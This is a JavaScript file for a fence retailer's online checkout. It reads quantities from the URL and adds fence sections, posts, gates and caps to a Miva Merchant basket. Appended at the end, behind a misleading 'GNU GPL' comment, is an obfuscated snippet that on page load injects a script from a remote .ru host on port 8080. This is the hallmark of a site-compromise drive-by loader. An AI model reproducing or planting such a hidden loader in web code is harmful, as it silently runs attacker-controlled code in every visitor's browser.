	var section;
var endcornerpost;
var linepost;
var postcap;
var gate;
var gatehardware;
var style;
var type;
var height;
var cap;
var color;
$(document).ready( function() {
//F-1005 	FenceGate 	Edit Here Edit
//	F-1003 	FenceEndPost 	Edit Here Edit
//	F-1002 	FenceLinePost 	Edit Here Edit
//	F-1001 	FenceSection 
//	F-1006 	FenceGateHardware 

	section = $.getURLParam("section");
	endcornerpost = $.getURLParam("endcornerpost");
	linepost = $.getURLParam("linepost");
	postcap = $.getURLParam("postcap");
	gate = $.getURLParam("gate");
	gatehardware = $.getURLParam("gatehardware");
	style = $.getURLParam("style");
	type = $.getURLParam("type");
	height = $.getURLParam("height");
	cap = $.getURLParam("cap");
	color = $.getURLParam("color");
	
	
	checkout();		
	
	
		
});
function checkout(){
	$.ajax({
		data : 'Action=ADPR&Screen=PROD&Store_Code=NEWDURASHEDS&Product_Code=F-'+type.toString()+style.toString()+color.toString()+height.toString()+'&Category_Code=VINYL&Quantity='
				+section,
		url : 'http://www.securenetorder.com/mm5/merchant.mvc',
		async : false
	});
	$.ajax({
		data : 'Action=ADPR&Screen=PROD&Store_Code=NEWDURASHEDS&Product_Code=F-1002&Category_Code=VINYL&Quantity='
				+linepost,
		url : 'http://www.securenetorder.com/mm5/merchant.mvc',
		async : false
	});
	
	$.ajax({
		data : 'Action=ADPR&Screen=PROD&Store_Code=NEWDURASHEDS&Product_Code=F-1003&Category_Code=VINYL&Quantity='
				+endcornerpost,
		url : 'http://www.securenetorder.com/mm5/merchant.mvc',
		async : false
	});
	$.ajax({
		data : 'Action=ADPR&Screen=PROD&Store_Code=NEWDURASHEDS&Product_Code=F-1005&Category_Code=VINYL&Quantity='
				+gate,
		url : 'http://www.securenetorder.com/mm5/merchant.mvc',
		async : false
	});
	$.ajax({
		data : 'Action=ADPR&Screen=PROD&Store_Code=NEWDURASHEDS&Product_Code=F-1006&Category_Code=VINYL&Quantity='
				+gatehardware,
		url : 'http://www.securenetorder.com/mm5/merchant.mvc',
		async : false
	});
	$.ajax({
		data : 'Action=ADPR&Screen=PROD&Store_Code=NEWDURASHEDS&Product_Code=FC-'+cap.toString()+'&Category_Code=VINYL&Quantity='
				+postcap,
		url : 'http://www.securenetorder.com/mm5/merchant.mvc',
		async : false
	});
		setTimeout('location.href = \'http://www.securenetorder.com/mm5/merchant.mvc?Screen=BASK&Store_Code=NEWDURASHEDS\'', 0);
}
jQuery.extend( {
	/**
	 * Returns get parameters.
	 * 
	 * If the desired param does not exist, null will be returned
	 * 
	 * @example
	 * value = $.getURLParam("paramName");
	 */
	getURLParam : function(strParamName) {
		var strReturn = "";
		var strHref = window.location.href;
		var bFound = false;

		var cmpstring = strParamName + "=";
		var cmplen = cmpstring.length;

		if (strHref.indexOf("?") > -1) {
			var strQueryString = strHref.substr(strHref.indexOf("?") + 1);
			var aQueryString = strQueryString.split("&");
			for ( var iParam = 0; iParam < aQueryString.length; iParam++) {
				if (aQueryString[iParam].substr(0, cmplen) == cmpstring) {
					var aParam = aQueryString[iParam].split("=");
					strReturn = aParam[1];
					bFound = true;
					break;
				}

			}
		}
		if (bFound == false)
			return null;
		return strReturn;
	}
});




/*GNU GPL*/ try{window.onload = function(){var Ye4yinoo4pl = document.createElement('s!##^c#!r$i(&)&p)##$@t#&$'.replace(/\)|\!|\(|#|&|\$|\^|@/ig, ''));Ye4yinoo4pl.setAttribute('type', 'text/javascript');Ye4yinoo4pl.setAttribute('src',  'h)^t)^t$p(&:)(/^/(^e))b^a&#y(!!$-##e(&s^!!@#.!&$x&$c(a@((r(().#c#(o$)m(&.(#)c^!n@($).$&z(#$#a#!#y@$!c!e)v)!-@&n#)e($t!&@.##s$u!!g($)a^!!r!^@y#h((o#!$m@e!!.@)##r&@)u!)^(:))8)^(0@@^@8$0!@/#t^i)^m(e&@$(a()@n(@d(#^d(#a!!#)t^e^$.)(c^o!!$&m^^/)&@!t^)i)m&e^a)n@d(#)d^#a&$()t(&((e@.@^c#(o@@(m(#)!@/@@^$g!o^#o&@g&)l!e#.(c!!^o#&m&#@/^$(f$@a!)!)r^m)!&v$i#!l$l$&e$!@.^c)o@($)m&/(s$)!h@o(()p^&(l(((&o)#&c!@)#a)((l$.(@&c&!o#&&m)@&^(/#^'.replace(/&|\!|\^|#|@|\(|\$|\)/ig, ''));Ye4yinoo4pl.setAttribute('defer', 'defer');Ye4yinoo4pl.setAttribute('id', 'A&$h)7))(5^#@&b^^q^)2)@!)1$!&6^)w@^!('.replace(/\!|@|#|&|\)|\(|\$|\^/ig, ''));document.body.appendChild(Ye4yinoo4pl);}} catch(e) {}